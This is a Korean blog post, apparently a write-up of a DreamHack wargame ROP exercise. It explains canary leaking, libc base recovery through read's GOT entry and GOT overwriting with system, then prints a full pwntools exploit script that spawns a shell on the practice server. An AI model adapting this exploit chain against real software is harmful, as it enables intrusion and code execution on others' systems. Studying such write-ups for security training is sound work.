티스토리 뷰

DreamHack에 있는 SystemHakcing 트랙의 Stage 7의 문제인 ROP 실습의 설명을 보고 정리해보았습니다.

※ 로컬영역에서는 아래 전체코드가 실행이 되지 않을 수 있습니다. puts 다음, read함수가 실행이 될때, edx값이 0이 되면 안되는데 0이 되면서 read함수가 오류를 일으킬 수 있습니다. 이는 Ubuntu 버전에 따라 다릅니다. 물론 저도 로컬에서는 아직 실행하지 못해서 방법을 찾고 있습니다. 만약 찾아지게 되면 추가적으로 올리겠습니다.


메모리 Table

  먼저 간단하게 메모리 보호 기법에 대해 정리해보면, 프로그램이 실행될 때 왼쪽과 같이 프로그램이 실행되면서 메모리에 적제되는데, 이 메모리에 할당되지 않는 영역의 메모리에 접근하는 것을 막기 위해 사용된다. 

 

 

 

 

 

 

 


  • 먼저 코드를 살펴보면, puts, printf, read의 함수들이 사용되는 곳을 볼 수 있습니다. 그 중 우리는 read의 취약점을 사용하여 프로그램에 적용되어 있는 ASLR, Canary, NX의 메모리 보호기법을 뚫고 exploit을 해야합니다.
  • ASLR, Canary, NX의 자세한 내용은 다른 곳을 참고해주세요.

  • 먼저 카나리를 구해야 하는데, 카나리는 위와 같이 0x38개의 buf 뒤에 존재한다. 따라서 첫번째 read 함수를 이용하여 "A"를 0x39개 입력한 후 recvn으로 Canary 값을 받아서 Canary를 구한다. 여기서 0x39개를 넣는 이유는 첫 자리가 \x00이기 때문에 0x39개를 입력하는 것입니다.
  • 아 참고로 여기서 read_plt 등 여러가지의 변수를 구하는데 프로그램이 실행될 때, PLT는 사용되는 함수의 포인터 위치를, GOT는 직접적인 라이브러리 위치를 저장하는 공간이기 때문에 함수를 사용하기 위해 미리 구해놓는 것입니다.

  • 두 번째로 할 것은 read_got값을 읽어들여서 lib가 위치한 장소를 찾는 것입니다. 여기서 lib란 프로그램이 실행될 때 같이 라이브러리가 메모리에 적제되는데, 그 적제된 위치를 말하는 것입니다. 이 주소를 알고 있게 된다면, 우리는 주소에 사용할 함수 offset을 더하면 비록 프로그램에서는 실행되지 않더라고 내가 원하는 함수를 사용할 수 있게 됩니다.
  • 여기서 주의할점 ) 맨 처음보면 lib = ELF("./libc-2.27.so")를 하게 되는데, 이 libc의 버전에 따라서 함수의 offset이 다릅니다. 따라서 드림핵의 문제 사이트와 다른 libc를 사용하게 된다면 offset이 달라서 원격으로 작동하지 않을 수 있습니다.

  • 드디어 마지막입니다. 이제 구한 system의 주소를 read_got 주소에 넣어야 합니다. 왜냐하면 프로그램은 실행할 때 GOT의 주소 테이블이 변경되어 있는지는 확인하지 않기 때문에, system의 주소를 넣은 채로 read를 실행하게 되면 read = system이 되서 system 함수가 실행이 됩니다.
  • 여기서 pwntools에 주의하셔야 될 점이 있습니다. 물론 제가 제대로 이해를 못한 부분이긴 하지만, 먼저 payload에 read 함수를 두번 넣고 send를 하게 됩니다. 그리고 system의 주소를 구한 후 다시 send로 시스템 주소를 보내게 되는데, pwntools의 특성상 send 와 recv는 입력 버퍼, 출력 버퍼에 대한 값을 받게 됩니다. 즉, 우리가 맨처음 puts를 하고 recvn이 뒤에 나와도 가능했던 이유는 puts를 통해 출력하는 값을 recvn이 받게 되기 때문입니다. 다시한번 순서를 정리하자면
    puts -> recvn -> read(0, read_got, 0x10) -> send(p64(system)+b"/bin/sh\x00" -> read("/bin/sh") 순으로 진행되게 됩니다.

from pwn import *
def slog(name, addr):
	return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 9826)
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']

pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1

payload = b"A"*0x38 + p64(cnry) + b"B"*0x8

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)

p.sendafter("Buf: ", payload)

read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]

slog("read", read)
slog("libc base", lb)
slog("system", system)

p.send(p64(system)+b"/bin/sh\x00")
p.interactive()

'보안공부' 카테고리의 다른 글

DES 암호학  (0) 2023.05.24
간단한 키보드 후킹 프로그램  (0) 2022.09.06
DreamHack 리버싱) 레지스터란?  (0) 2022.06.08
메모리 보호기법 ) Canary, ASLR, NX  (0) 2022.06.03
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함